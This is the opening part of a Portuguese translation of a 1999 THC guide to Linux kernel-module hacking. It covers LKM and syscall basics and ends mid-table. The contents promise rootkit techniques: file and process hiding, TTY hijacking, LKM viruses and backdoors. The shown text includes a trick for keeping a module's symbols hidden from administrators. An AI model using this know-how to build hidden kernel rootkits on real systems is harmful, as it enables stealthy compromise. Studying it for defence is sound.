==============================================================================
Este documento foi escrito por pragmatic da THC(The Hackers Choice) em marco
de 1999. E foi traduzido para a lingua portuguesa em abril de 2001 por :

Blood_Sucker (blooding@punkmail.com)
Hophet (hophet@yahoo.com.br)

Agradeco tambem ao hak e ao h3ll da unsek, q ajudaram na traducao tambem. =]

A versao original deste documento(em ingles) pode ser encontrada em:
http://www.thehackerschoice.com/papers/LKM_HACKING.html

Esta versao traduzida pode ser encontrada em:
http://unsekurity.virtualave.net/

Traducao autorizada pela The Hackers Choice(THC).
Thanks The Hackers Choice!!!
Obs.: Os comentarios dos codigos nao foram traduzidos para nao afetar a 
integridade do mesmo.
==============================================================================

	         (quase)Linux Completo Loadable Kernel Modules
 
- o guia definitivo para hackers, coders de virus e administradores 
de sistema - 

escrito por pragmtic / THC, verso 1.0 lancado em 03/1999 

                                  CONTEDOS 

Introduco
 
- I. Basico
 1. O que sao LKMs 
 2. O que sao Syscalls
 3. O Que eh um Kernel-Simbol-Table
 4. Como transformar o Kernel para o User Space Memory  
 5. Modos para usar user space como funces 
 6. Lista das funcoes de kernel space necessarias diariamente
 7. Que eh o Kernel-Daemon 
 8. Criando seus proprios Dispositivos(Devices)
 
- II. Diverso & Lucro 
 1. Como interceptar Syscalls 
 2. Syscalls interessantes p/ Interceptar
 2.1 Achando systemcalls interessantes (o strace aproximam) 
 3. Confundindo o kernel's System Table
 4. Relativo a Filesystem Hacks
 4.1 Como Esconder Arquivos
 4.2 Como esconder os contedos de arquivo (totalmente) 
 4.3 Como esconder certas partes de um arquivo (prototipo de implementao) 
 4.4 Como redirecionar operaes de monitores de arquivo 
 4.5 Como evitar qualquer problema de dono de arquivo
 4.6 Como fazer um unaccessible hacker-tools-directory 
 4.7 Como mudar Ambientes de CHROOT 
 5. Relacionado a Process Hacks
 5.1 Como esconder qualquer processo 
 5.2 Como redirecionar Execuo de arquivos 
 6. Hacking relacionado a Rede (Socket) 
 6.1 Como controlar Operaces de Sockets  
 7. Modos para Sequestrar TTY (TTY hijacking)
 8. Vrus escritos com LKMs 
 8.1 Como um vrus de LKM pode infetar qualquer arquivo (no s mdulos; prototipo) 
 8.2 Como um virus de LKM nos ajuda a entrar 
 9. Fazendo nosso LKM invisvel & irremovivel
 10. Outros modos de abusar do Kerneldaemon 
 11. Como fazer para checar a presenca de nosso LKM 

- III. Solucoes (Para admins) 
 1. LKM Detector Teoria & Idias  
 1.1 Exemplo prtico de um Detector de prottipo 
 1.2 Exemplo prtico de protecao a prototipo password create_module(...)
 2. Idias de Anti-LKM-Infector 
 3. Faa seus programas sem pista (teoria) 
 3.1 Exemplo prtico de um prototipo Anti-investigador(Anti-Tracer)
 4. Enrigecendo o kernel do Linux com LKMs  
 4.1 Por que ns devemos permitir direitos de execuo de programas arbitrrios? 
 4.2 O Remendo de Vinculo ... ("Link Patch") 
 4.3 O /proc Patch permisso (a ideia de route's da Phrack implementado como LKM)
 4.4 O Patch securelevel (a ideia de route's da Phrack implementado como LKM) 
 4.5 O Patch(remendo=atualizacao) de rawdisk 

- IV. Algumas Ideias Melhores (para hackers) 
 1. Truques para bater admin LKMs 
 2. Consertando o kernel inteiro - ou criando o Hacker-OS 
 2.1 Como achar Kernel Symbols em /dev/kmem 
 2.2 O novo 'insmod' trabalhando sem suporte do Kernel
 3. Ultimas palavras 

- V. O proximo futuro: Kernel 2.2.x 
 1. Principal Diferenca para escritores de LKM
 
- VI. ltimas Palavras 
1.  A 'historia LKM' ou 'como fazer um Plug System & Hacking compativel'
2.  Links para outros Recursos 


Reconhecimentos 

Greets
 
Apendice 

A - Codigos Fonte (Open-source) 
a) Infecco de LKM por Stealthf0rk/SVAT 
b) Heroin - o clssico por Runar Jensen 
c) LKM Hider / Socket Backdoor por plaguez 
d) LKM TTY hijacking(sequestrador de TTY) por halflife 
e) AFHRM - a ferramenta de monitor por Michal Zalewski 
f) CHROOT modulo truque por FLoW/HISPAHACK 
g) Memoria de Kernel que Conserta por? (Kernel Memory Patching by ?) 
h) Insersao de Modulo sem suporte nativo por Silvio Cesare 

------------------------------------------------------------------------
 
Introduco
 
O uso do Linux em ambientes de servidor est crescendo segundo aps 
segundo. Hackear um Linux assim fica mais interessante a cada dia. Uma das
melhores tecnicas pra atacar um sistema Linux eh usar codigos de Kernel.
Devido a sua caracteristica chamada Loadable Kernel Modules (LKMs) eh
possivel escrever um codigo que corre em Kernel Space que nos permita ter
acesso a partes muito sensiveis do OS. Havia alguns textos e arquivos 
relativo a LKM hacking antes (na Phrack, por exemplo) que sao muito bons. 
Eles introduziram ideias novas, metodos novos e LKMs completos dos quais 
os hackers sempre sonharam em ter. Tambem haviam algumas listas de discussoes
publicas (Newsgroups, Mailinglists) em 1998 q eram muito interessantes.
Assim, ja q ha tanta informacao por ai, por que eu escrevo um novo texto  
sobre LKMs?
Bem, h vrias razes: 

    - Os textos anteriores as vezes no deram explicaces boas para novatos em
      Kernel; este texto tem uma seco bsica muito grande e ajuda os  
      novatos a entender os conceitos. Eu conheci muitas pessoas que usam
      exploits/sniffers muito interessantes, sem entender ate mesmo como
      eles trabalham. Eu inclui muitos codigos fonte neste texto, com
      muitos comentrios, soh pra ajudar esses novatos que sabem que
      hacking eh mais do que jogar assolamento l fora em algumas cadeias! 

    - Todo texto publicado se concentrou em um assunto especial, no havia
      nenhum guia completo para hackers relativo a LKMs. Este texto
      cobrir quase todos aspectos de Kernel ateh abusando de aspectos de
      virus.

    - Este texto foi escrito para hackers e virus coders, mas tambem 
      ajudar admins e fomentadores de Kernel normais a fazerem um
      trabalho melhor

    - Textos anteriores nos mostraram as vantagens e principais metodos para 
      se abusar de LKMs, mas h algumas coisas das quais nos no ouvimos
      falar. Este texto mostrar algumas ideias novas (nada totalmente
      novo, mas coisas que poderiam nos ajudar)

    - Este texto mostrar conceitos de alguns modos simples para se proteger de
      ataques de LKM 

    - Este texto tambem mostrar como derrotar proteces de LKM usando metodos
      como Runtime Kernel Patching
 
Por favor, lembre-se, as ideias "novas" so implementadas como prototicos de 
modulos (so para demonstraco) e tem de ser melhorados para os usar realmente.
A minha motivaco principal eh dar para todo o mundo um texto grande que cobre 
o todo o problema de LKMs. No apendice A eu lhe dou alguns LKMs existentes + uma 
descrico pequena de seu funcionamento (para novatos) e modos para usa-lo.
O texto inteiro (menos a parte V) est baseado em um Linux 2.0.x mquina (x86).
Eu testei todos os programas e fragmentos de codigo. O sistema Linux se faz 
necessario para q o LKM possa ser usado na maioria dos exemplos de codigo deste 
texto. Soh a parte IV ja mostrar algumas fontes que trabalham sem apoio de LKM 
nativo. A maioria das ideias deste texto tambem funcionaram em 2.2.x sistemas
(talvez voce precisar de alguma modificaco secundria); mas a revocaco eh que
o Kernel 2.2.x foi lancado a pouco tempo(1/99) e a maioria das distribuicoes de 
linux ainda usam 2.0.x (Redhat, SuSE, Caldera,...). Em abril algumas
distribuidores como SuSE apresentaro como seu Kernel as versoes 2.2.x;
portanto voce no precisar saber hackear um kernel 2.2.x no momento. Apesar de
nao haver grandes diferencas.
Bons administradores tambem esperaro alguns meses por adquirir um kernel 
2.2.x  mais estavel. 
Nota: a Maioria dos sistemas ainda no precisam de kernel 2.2.x, sendo assim, 
      eles continuaro usando 2.0.x. Este texto tem uma seco especial que 
      deve ser lida atenciosamente sobre LKMs que ajudam admins para deixar 
      o sistema seguro. Voce (hacker) tambem deveria ler esta seco, voce tem 
      que saber tudo o q os admins sabem e mais um pouco hehe. Voce tambem 
      obter algumas ideias agradveis naquela seco que pode lhe ajudar a 
      desenvolver 'hacker-LKMs' mais avancados. Portanto leia o texto inteiro! 
      E por favor lembre-se: Este texto foi escrito apenas para propositos 
      educacionais. Qualquer aco ilegal baseada neste texto eh problema seu.
 

I. Fundamentos (Basico)

1. O que sao LKMs

LKMs(Loadable Kernel Modules) sao usados pelo kernel do linux para 
expandir sua funcionalidade. A vantagem de escolher LKMs:
"Eles podem ser rodados dinamicamente", nao precisam da recompilacao 
do kernel, pois eles sao usados para um especifico device driver(ou 
filesystem) como uma placa de som, de rede, etc.
Todos os LKMs consistem no minimo em 2 funcoes basicas:

int init_module(void) /*used for all initialition stuff*/
{

...
}

void cleanup_module(void) /*used for a clean shutdown*/
{
...
}

Para rodar um module(ou modulo em portugues) - normalmente como root - 
eh necessario usar o seguinte comando:

# insmod module.o

Este comando forca o sistema a rodar o seguinte algoritmo:

- Roda o arquivo objeto(module.o)
- chama a create_module systemcall(para saber sobre systemcalls olhe
  o capitulo I.2) para realocacao da memoria.
- referencias nao-resolvidas sao resolvidas pelos Kernel-Symbols com
  o systemcall get_kernel_syms
- depois o systemcall init_module eh usado pra inicializacao do 
  LKM - executando int init_module(void) etc.

Os Kernel-Symbols saun explicados no I.3(Kernel-Symbol-Table)
Entao acho q podemos escrever nosso primeiro LKM apenas mostrando
como funciona basicamente(LKMs sao escritos em C):

#define MODULE
#include <Linux/module.h>

int init_module(void)
{
 printk("<1>Hello World\n");
 return 0;
}

void cleanup_module(void)
{
 printk("<1>Bye, Bye");
}

Voce deve estar se perguntando porque eu usei a funcao printk() ao 
inves de printf(). Bem, programacao de kernel(Kernel-Programming) eh 
totalmente diferente de programacao normal(Userspace-Programming).
Voce soh tem uma grande restricao de comandos(veja I.6). Com os 
comandos vc nao pode fazer muita coisa, mas quando vc aprender a 
usar o monte de funcoes vc sabera por suas aplicacoes como hackear 
um kernel. Seja paciente, temos q fazer muita coisa antes...
O exemplo q dei pode ser facilmente compilado assim:

# gcc -c -O3 helloworld.c
# insmod helloworld.o

Ok, o modulo esta rodando e foi mostrado a nos a famosa frase. Agora
vc pode checar alguns comandos mostrando como o LKM realmente 
atua no kernel.

# lsmod
Module         Pages    Used by
helloworld         1	      0

Este comando le as informacoes no /proc/modules para mostrar os 
modulos q estao sendo rodados no momento. 'Pages' eh a informacao 
da memoria(quantas paginas tem este modulo) e 'Used by' mostra-nos 
como este modulo eh usado no sistema(conta de referencia). 
O modulo pode simplesmente ser removido, quando este Used by eh 
zero; depois de checar issu, vc pode remover este comdulo com:

# rmmod helloworld

Ok, este foi nosso pequeno (muuuuioto pequeno) primeiro passo em LKMs.
Eu sempre comparo LKMs com velhas DOS TSR Programs(sim, existem diversas
diferencas, eu sei),  eles saun feitos para ficar na memoria e pegar 
todas as interrupts q procuramos. Microdoft Windows 9x tem algo como
VxD, algo similar a LKMs(porem muito diferentes).
A parte mais interessante de residentiar programas eh a habilidade de 
fisgar funcoes.

2. O que sao systemcalls(chamada de sistemas)

Vc deve saber q todos os sistemas operacionais tem algumas funcoes
ja imbutidas no kernel, q sao usadas em todas operacoes do sistema.
As funcoes do linux sao called systemcalls(chamada de sistema omitida).
Elas representam uma transicao do user com o kernel space. 
Abrir um arquivo(fopen()) no userspace eh representado pela 
systemcall sys_open no kernel space. Para uma lista completa
com todos os systemcalls avaliados no seu sistema, olhe o arquivo
/usr/include/sys/syscall.h. Esta lista abaixo mostra o meu syscall.h:

#ifndef	_SYS_SYSCALL_H
#define	_SYS_SYSCALL_H

#define	SYS_setup		0 /* Used only by init, to get system going. */
#define SYS_exit		1
#define SYS_fork		2
#define SYS_read		3
#define SYS_write		4
#define SYS_open		5
#define SYS_close		6
#define SYS_waitpid     	7
#define SYS_creat		8
#define SYS_link		9
#define SYS_unlink	        10
#define SYS_execve		11
#define SYS_chdir		12
#define SYS_time		13
#define SYS_prev_mknod		14
#define SYS_chmod		15
#define SYS_chown		16
#define SYS_break		17
#define SYS_oldstat		18
#define SYS_lseek		19
#define SYS_getpid		20
#define SYS_mount		21
#define SYS_umount		22
#define SYS_setuid		23
#define SYS_getuid		24
#define SYS_stime		25
#define SYS_ptrace		26
#define SYS_alarm		27
#define SYS_oldfstat		28
#define SYS_pause		29
#define SYS_utime		30
#define SYS_stty		31
#define SYS_gtty		32
#define SYS_access		33
#define SYS_nice		34
#define SYS_ftime		35
#define SYS_sync		36
#define SYS_kill		37
#define SYS_rename		38
#define SYS_mkdir		39
#define SYS_rmdir		40
#define SYS_dup			41
#define SYS_pipe		42
#define SYS_times		43
#define SYS_prof		44
#define SYS_brk			45
#define SYS_setgid		46
#define SYS_getgid		47
#define SYS_signal		48
#define SYS_geteuid		49
#define SYS_getegid		50
#define SYS_acct		51
#define SYS_phys		52
#define SYS_lock		53
#define SYS_ioctl		54
#define SYS_fcntl		55
#define SYS_mpx			56
#define SYS_setpgid		57
#define SYS_ulimit		58
#define SYS_oldolduname		59
#define SYS_umask		60
#define SYS_chroot		61
#define SYS_prev_ustat		62
#define SYS_dup2		63
#define SYS_getppid		64
#define SYS_getpgrp		65
#define SYS_setsid		66
#define SYS_sigaction		67
#define SYS_siggetmask		68
#define SYS_sigsetmask		69
#define SYS_setreuid		70
#define SYS_setregid		71
#define SYS_sigsuspend		72
#define SYS_sigpending		73
#define SYS_sethostname		74
#define SYS_setrlimit		75
#define SYS_getrlimit		76
#define SYS_getrusage		77
#define SYS_gettimeofday  	78
#define SYS_settimeofday  	79
#define SYS_getgroups		80
#define SYS_setgroups		81
#define SYS_select		82
#define SYS_symlink		83
#define SYS_oldlstat		84
#define SYS_readlink		85
#define SYS_uselib		86
#define SYS_swapon		87
#define SYS_reboot		88
#define SYS_readdir		89
#define SYS_mmap		90
#define SYS_munmap		91
#define SYS_truncate		92
#define SYS_ftruncate		93
#define SYS_fchmod		94
#define SYS_fchown		95
#define SYS_getpriority		96
#define SYS_setpriority		97
#define SYS_profil		98
#define SYS_statfs		99
#define SYS_fstatfs		100
#define SYS_ioperm		101
#define SYS_socketcall		102
#define SYS_klog		103
#define SYS_setitimer		104
#define SYS_getitimer		105
#define SYS_prev_stat		106
#define SYS_prev_lstat		107
#define SYS_prev_fstat		108
#define SYS_olduname		109
#define SYS_iopl		110
#define SYS_vhangup		111
#define SYS_idle		112
#define SYS_vm86old		113
#define SYS_wait4		114
#define SYS_swapoff		115
#define SYS_sysinfo		116
#define SYS_ipc			117
#define SYS_fsync		118
#define SYS_sigreturn		119
#define SYS_clone		120
#define SYS_setdomainname	121
#define SYS_uname		122
#define SYS_modify_ldt		123
#define SYS_adjtimex		124
#define SYS_mprotect		125
#define SYS_sigprocmask		126
#define SYS_create_module	127
#define SYS_init_module		128
#define SYS_delete_module	129
#define SYS_get_kernel_syms	130
#define SYS_quotactl		131
#define SYS_getpgid		132
#define SYS_fchdir		133
#define SYS_bdflush		134
#define SYS_sysfs		135
#define SYS_personality		136
#define SYS_afs_syscall		137 /* Syscall for Andrew File System */
#define	SYS_setfsuid		138
#define	SYS_setfsgid		139
#define	SYS__llseek		140
#define SYS_getdents		141
#define SYS__newselect		142
#define SYS_flock		143
#define SYS_syscall_flock	SYS_flock
#define SYS_msync		144
#define SYS_readv		145
#define SYS_syscall_readv	SYS_readv
#define SYS_writev		146
#define SYS_syscall_writev	SYS_writev
#define SYS_getsid		147
#define SYS_fdatasync		148
#define SYS__sysctl		149
#define SYS_mlock		150
#define SYS_munlock		151
#define SYS_mlockall		152
#define SYS_munlockall		153
#define SYS_sched_setparam	154
#define SYS_sched_getparam	155
#define SYS_sched_setscheduler	156
#define SYS_sched_getscheduler	157
#define SYS_sched_yield		158
#define SYS_sched_get_priority_max	159
#define SYS_sched_get_priority_min	160
#define SYS_sched_rr_get_interval	161
#define SYS_nanosleep		162
#define SYS_mremap		163
#define SYS_setresuid		164
#define SYS_getresuid		165
#define SYS_vm86		166
#define SYS_query_module	167
#define SYS_poll		168
#define SYS_syscall_poll	SYS_poll

#endif	/* <sys/syscall.h> */

Todo systemcall tem um numero definido(como deve ter reparado na lista),
q sao usados para para pegar o systemcall.
O kernel usa a interrupt(interrupcao) 0x80 para trabalhar com todos
os systemcalls. O numero do systemcall e qualquer outro argumento eh 
movido para alguns registradores(eax para systemcall number, por exemplo).
O systemcall number eh uma indexacao (em uma matriz(array)) da estrutura
sys_call_table[]. Esta estrutura procura os systemcall numbers para
o servico necessario da funcao.
Ok, este eh o conhecimento suficiente para vc continuar lendo. A
proxima tabela mostra systemcalls muuito interessantes com uma pequena
descricao. Acredite em mim, vc tem q saber como funciona exatamente
diversar systemcalls para ter realmente um bom proveitamento em LKMs.

USAGE: systemcall;  descricao 
==============================================================================
int sys_brk(unsigned long new_brk);  | muda o tamanho usado pelo DS(data
                                     | segment) -> esse systemcall sera 
                                     | discutido em I.4
==============================================================================
int sys_fork(struct pt_regs regs);   | systemcall para a famosa funcao fork()
                                     | do user space   
==============================================================================
int sys_getuid ()                    | Systemcalls para trabalhas com UID etc.
int sys_setuid (uid_t uid)           | 
...                                  |
==============================================================================
				                   | systemcall para acessar 
int sys_get_kernel_sysms(struct kernel_sym *table) | a tabela de sistemas do 
                                                   | kernel => veja em I.3 
===============================================================================
int sys_sethostname (char *name, int len); | sys_sethostname eh responsavel por
int sys_gethostname (char *name, int len); | setar o hostname e sys_gethostname
                                           | para pega-lo.
===============================================================================
int sys_chdir (const char *path);    | Ambas funcoes sao usadas para setar 
int sys_fchdir (unsigned int fd);    | um devido diretorio (cd ...)
===============================================================================
int sys_chmod (const char *filename, mode_t mode); |
int sys_chown (const char *filename, mode_t mode); | funcoes para trabalhas 
int sys_fchmod (unsigned int fildes, mode_t mode); | com permissoes
int sys_fchown (unsigned int fildes, mode_t mode); |
===============================================================================
int sys_chroot (const char *filename); | seta o diretorio root para chamada de 
                                       | processos
===============================================================================
             			      | este eh importante, ele eh responsavel
int sys_execve (struct pt_regs regs); | por execucao de arquivos(pt_regs eh o 
                                      | registro de pilha)
===============================================================================
long sys_fcntl (unsigned int fd,      | mudando caracteristicas offd (descricao
unsigned int cmd, unsigned long arg); | de arquivo aberto)
===============================================================================
int sys_link (const char *oldname, const char *newname); | systemcalls para
int sym_link (const char *oldname, const char *newname); | trabalhar com
int sys_unlink (const char *name);                       |(hard/soft)-links
===============================================================================
int sys_rename (const char *oldname, const char *newname); | renomear arquivos
===============================================================================
int sys_rmdir (const char* name);               | criando e removendo 
int sys_mkdir (const *char filename, int mode); | diretorios
===============================================================================
int sys_open (const char *filename, int mode);| tudo relacionado a abertura, 
int sys_close (unsigned int fd);	      | fechamento e criacao de arquivos
===============================================================================
int sys_read (unsigned int fd, char *buf,  |
 unsigned int count);                      | systemcall para escrita & leitura
int sys_write (unsigned int fd, char *buf, | de arquivos
 unsigned int count);                      |
===============================================================================
int sys_getdents (unsigned int fd,          | systemcall para requisitar uma
struct dirent *dirent, unsigned int count); | listagem de arquivos
===============================================================================
int sys_readlink (const char *path,  | lendo links simbolicos
char *buf, int bufsize);             |
===============================================================================
int sys_selectt (int n, fd_set *inp, | multiplas operacoes de I/O(in/out), 
fd_set *outp, fd_set *exp,           | ou seja, entrada e saida.
struct timeval *tvp);                |
===============================================================================
sys_socketcall (int call,    | funcoes com sockets
unsigned long args);         |
===============================================================================
unsigned long sys_create_module (char *name, |
unsigned long size);                         |
int sys_delete_module (char *name);          | usado para rodar ou "desrodar" 
int sys_query_module (const char *name,      | LKMs 
int which, void *buf, size_t bufsize,        |
size_t *ret);                                |
===============================================================================

Na minha opiniao estes sao os mais interessantes systemcalls para qualquer
intencao hacker, eh claro que para isso se tornar possivel voce precisara
de algo especial no seu sistema rooteado, mas a diversidade hacker tem uma
enorme utilidade na a lista assima. Na parte II vc precisara aprender como
usar systemcalls para seu proprio lucro.

3. O que eh Kernel-Symbol-Table(Tabela de Simbolos do Kernel)

Ok, nos entendemos os conceitos basicos de systemcalls e modulos. Mas aqui
esta um outro ponto importante que temos que entender - a Kernel-Symbol-Table.
De uma olhada no /proc/ksyms. Tudo neste arquivo representa um Kernel Symbol,
que pode ser acessado pelo nosso LKM. De uma boa olhada neste arquivo, voce
ira encontrar difersas coisas interessantes. Este arquivo eh realmente muito
interessant, e pode nos ajudar a ver o que nosso LKM pode fazer, mas tem um
problema, todo symbol usado em nosso LKM(como uma funcao) eh entao exportado
publicamente, e entao eh listado naquele arquivo. Entao um administrador 
experiente pode descobrir nosso pequeno LKM e killalo.
Existem diversas maneiras de prevenir que um adm veja nosso LKM, de uma olhada
na secao II.
Os metodos mencionados na secao II podem ser chamados de 'Hacks', mas quando 
voce da uma olhada na secao II vc nao encontra uma referencia de 'Deixando
LKM Symbols fora do /proc/ksyms. Desenvolvedores de LKM usam o seguinte 
codigo para limitar a exportacao de simbolos daquele modulo:

static struct symbol_table module_syms= { /*we define our own symbol table !*/
 #include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/
   ...                                       
};

register_symtab(&module_syms);            /*do the actual registration*/

Como eu disse, nos nao queremos exportar simbolos publicamente, entao usamos
a seguinte instrucao:

register_symtab(NULL);

Esta linha sera inserida na funcao init_module(), lembre-se disso!

4. Como transformar o kernel em uma User Space Memory

Ateh agora a coisa tem sido bastante basica e bastante facil. Agora vamos
degustar algo mais dificil(mas nao mais avancado).
Nos temos muitas vantagens na programacao do kernel space, mas nos tambem
temos algumas desvantagens. Systemcalls pegam os argumentos do user space
(que sao implementados na libc), mas nosso LKM roda em um kernel space.
Na secao II voce ira ver como eh importante checar argumentos de alguns 
systemcall de forma que ajam de uma certa maneira. Mas como podemos acessar
um argumento alocado num user space por um kernel space module???
Solucao: Temos de fazer uma transicao.
Isso pode parecer estranho para nao-kernel-hackers, mas eh realmente facil.
De uma olhada neste systemcall:

int sys_chdir (const char *path)

Imagine o sistema chamando isso, e nos interceptamos aquela chamada(nos 
vamos aprender a fazer isso na porra da secao II). Nos queremos checar 
algo que queremos setar, entao temos que acessar a const char *path. Se
voce tentar acessar a variavel diretamente como...

printk("<1>%s\n", path);

...voce tera grandes problemas...
Lembrese que voce esta no kernel scape, vc nao pode ler a user space memory. 
Na phrack 52 voce tem uma solucao pelo plaguez, com strings especiais.
Ele usa uma funcao de kernel para requisitar user space memory bytes:

#include <asm/segment.h>

get_user(pointer);

Dando esta funcao para um ser localizada pelo ponteiro *path ira nos ajudar
a pegar bytes da user space memory para o kernel space. 
Olhe a implementacao feita por plaguez para mover strings de user para
kernel space:

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
	dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}

Se nos quisermos converter nossa variavel *path, nos podemos usar o seguinte
pedaco do codigo do kernel:

char *kernel_space_path;

 kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory 
                                                        in kernel space*/
 (void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's 
                                                        function*/
 printk("<1>%s\n", kernel_space_path);                  /*now we can use
                                                        the data for whatever we
                                                        want*/
 kfree(test);                                           /*remember freeing the
                                                        memory*/

O codigo acima funciona muito bem, Para uma transicao geral isso eh muito
complicado, plaguez usou isso apenas para strings(a funcao eh feita apenas
para copias de strings). Para uma transicao normal a seguinte funcao eh o
jeito mais facil de se fazer:

#include <asm/segment.h>
void memcpy_fromfs(void *to, const void *from, unsigned long count);

Ambas funcoes sao basicamente baseadas no mesmo tipo de comando, mas a segunda
nao eh exatamente como a funcao definida por plaguez. Eu irei recomenda-lo
a usar memcpy_fromfs() para uma transicao geral e a maneira de plaguez para
copiar strings.
Agora nos sabemos como converter de um user space para um kernel space.
Mas e a outra maneira??
Este eh um bit dificil, podemos nao podemos facilmente alocar user space 
memory pela posicao do kernel space. Se nos quisessemos trabalhar com este
problema nos teriamos de usar:

#include <asm/segment.h>
void memcpy_tofs(void *to, const void *from, unsigned long count);

fazendo esta conversao. Mas como alocar user space para o o ponteiro *to??
a phrack do plaguez nos deu uma solucao melhor:

/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;

mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
   return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

Issu eh muito legal de usar aqui. Eh um ponteiro apontando para a estrutura
do processo; mm eh o ponteiro para a mm_struct - responsavel pelo trabalho
do processo com a memoria. Usando a brk-systemcall na devida => mm <=, brk
nos habilitara a aumentar o tamanho da rea no utilizada do datasegment. 
E como sabemos, alocar a memria  feito com o datasegment, assim que 
aumentando o tamanho no utilizado da rea, ns alocamos alguma parte da
memria para o processo atual. Esta memria pode ser usada copiando a
memria do kernel space memory para o user space(do processo atual).
Voce deve estar se perguntando sobre a primeira linha do codigo acima. 
Esta linha nos ajudara a usar o user space como funcoes do kernel space. 
Toda funcao do user space fornecida a nos(como fork, brk, open, read, 
write, ...) eh representada por um syscall(). Entao nos podemos construir
o systemcall exato para uma certa funcao do user space(representada por 
um systemcall) aqui para o brk(). Veja I.5 para uma explicacao mais 
detalhada.

5. Maneiras de usar o user space como funcoes

Como voce viu no I.4 nos usamos um systemcall para construir nossa
proprio brk call, que eh como esse que nos conhecemos no user space
(->brk(2)). A verdade sobre as funcoes da user space library(nem todas)
eh que todos sao inplementados como systemcalls. O seguinte codigo mostra 
o esquema do the_syscall1() usado em I.4 para construir a funcao de brk().
(do /asm/unistd.h).

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}

Voce nao precisa entender este codigo em sua funcao cheia, ele apenas
chama a interrupcao 0x80 com os argumentos fornecidos pelos parametros
do _syscall1 (=> I.2) para o systemcall que precisamos (o nome eh 
expandido para __NR_name, que eh definido em /asm/unistd.h) Desta forma
nos implementamos a funcao do brk. Outras funes com uma contagem 
diferente dos argumentos so executadas com outros macros (_syscallX,
onde X eh trocado pelo numero de argumentos).
Eu pessoalmente uso outra maneira para implementar funcoes; olhe este
exemplo:

int (*open)(char *, int, int); /*declare a prototype*/

open = sys_call_table[SYS_open];  /*you can also use __NR_open*/

Desta maneira vc nao precisa usar nenhum systemcall macro, vc apenas
usa uma funcao apontada por um sys_call_table. Enquanto estivava 
procurando na web, eu encontrei esta maneira de construir user space 
como funcoes e entao usar o famoso LKIM infector do SVAT. Na minha 
opiniao esta eh a melhor solucao, mas teste e julgue voce mesmo.
Seja cuidadoso quando fornecer argumentos para aquele systemcall, 
eles precisam ser em modo user space e nao numa posicao de kernel 
space. Leia I.4 para conhecer maneiras de trazer os seus dados do 
kernel space para o user space.
Uma maneira muita facil de se fazer isso(a melhor na minha opiniao)
eh jogar com os registros necessarios. Voce tem q saber se akele linux
usa seletores de segmento para diferenciar entre kernel space, user 
space e tals...Argumentos usados com systemcalls sao usados pelo kernel.
que foram necessarios no user space estao em algum lugar do data 
segment selector(DS). [Eu nao mencionei isso no I.4, porque tem mais 
alguns ajustes nessa secao]
O DS pode ser requerido usando o get_ds() do asm/segment.h. Entao
o dado usado como parametro pelo systemcall pode apenas acessar 
pelo kernel se nos setarmos o DS usado pelo kernel.
Isso pode ser feito usando set_fs(). Mas seja cuidadoso, voce tem que
restaurar o FS depois de acessar o argumento do systemcall.
Entao de uma olhada no codigo abaixo q mostra alguma coisa sobre:

->filename is in our kernel space; a string we just created, for example

unsigned long old_fs_value=get_fs();

set_fs(get_ds);               /*after this we can access the user space data*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value);         /*restore fs...*/

Na minha opinicao esta eh a maneita pratica/economica de resolver o 
problema, mas teste vc mesmo(denovo).
Lembre-se das funcoes q eu mostrei ateh agora(brk, open, ...)que sao 
todas implementadas por um systemcall. Mas sao muitos grupos de funcoes
do user space que sao usadas em um systemcall. De uma olhada na lista
dos systemcalls mais intere

6. Lista das funcoes de kernel space necessarias diariamente

Eu introduzi a funcao printk() no comeco do texto. Ela eh uma funcao 
que todos podem usar no kernel space, eh uma funcao do kernel bastante 
usada. Outras funcoes sao feitas para desenvolvedores de kernel que 
necessitam de funcoes complexas que sao normalmente apenas avaliadas 
atraves de uma funcao de biblioteca(library). A seguinte lista mostra
as mais importantes funcoes de kernel que nos precisamos:

Funcao/Macro                     Descricao
======================================================================
int sprintf (char *buf,           |
 const char *fmt, ...);           | funcoes para dados empacotados 
int vsprintf (char *buf,          | em strings
 const char *fmt, va_list args);  |
======================================================================
printk(...)                   | O mesmo que printf no user space
======================================================================
void *memset (void *s, char c, size_t count);              |
void *memcpy (void *dest, const void *src, size_t count);  |	          
char *bcopy (const char *src, char *dest, int count);	   | funcoes de
void *memmove (void *dest, const void *src, size_t count); |  memoria
int memcmp (const void *cs, const void *ct, size_t count); |          
void *memscan (void *addr, unsigned char c, size_t size);  | 	 	
======================================================================
int register_symtab (struct symbol_table *intab);    | veja I.1
======================================================================
char *strcpy (char *dest, const char *src);                |
char *strncpy (char *dest, const char *src, size_t count); |
char *strcat (char *dest, const char *src);		   |
char *strncat (char *dest, const char *src, size_t count); |
int strcmp (const char *cs, const char *ct);		   |
int strncmp (const char *cs,const char *ct, size_t count); | funcoes
char *strchr (const char *s, char c);			   |  para
size_t strlen (const char *s);				   | comparar
size_t strnlen (const char *s, size_t count);		   | strings
size_t strspn (const char *s, const char *accept);	   | etc.
char *strpbrk (const char *cs, const char *ct);		   |
char *strtok (char *s, const char *ct);			   |
======================================================================
unsigned long simple_strtoul (const char *cp, | convertendo Strings
char **endp, unsigned int base);	      | para numeros
======================================================================
get_user_byte (addr);           |
put_user_byte (x, addr);	|
get_user_word (addr);		| funcoes para acessar memoria de
put_user_word (x, addr);	| usuario
get_user_long (addr);		|
put_user_long (x, addr);	|
======================================================================
suser();	|  checando por superusuarios atuais
fsuser();	|
======================================================================
int register_chrdev (unsigned int major,          |
const char *name, struct file_o perations *fops); | funcoes que regis-
int unregister_chrdev (unsigned int major, 	  | tram device drivers:
const char *name);		       		  | _chrdev => character
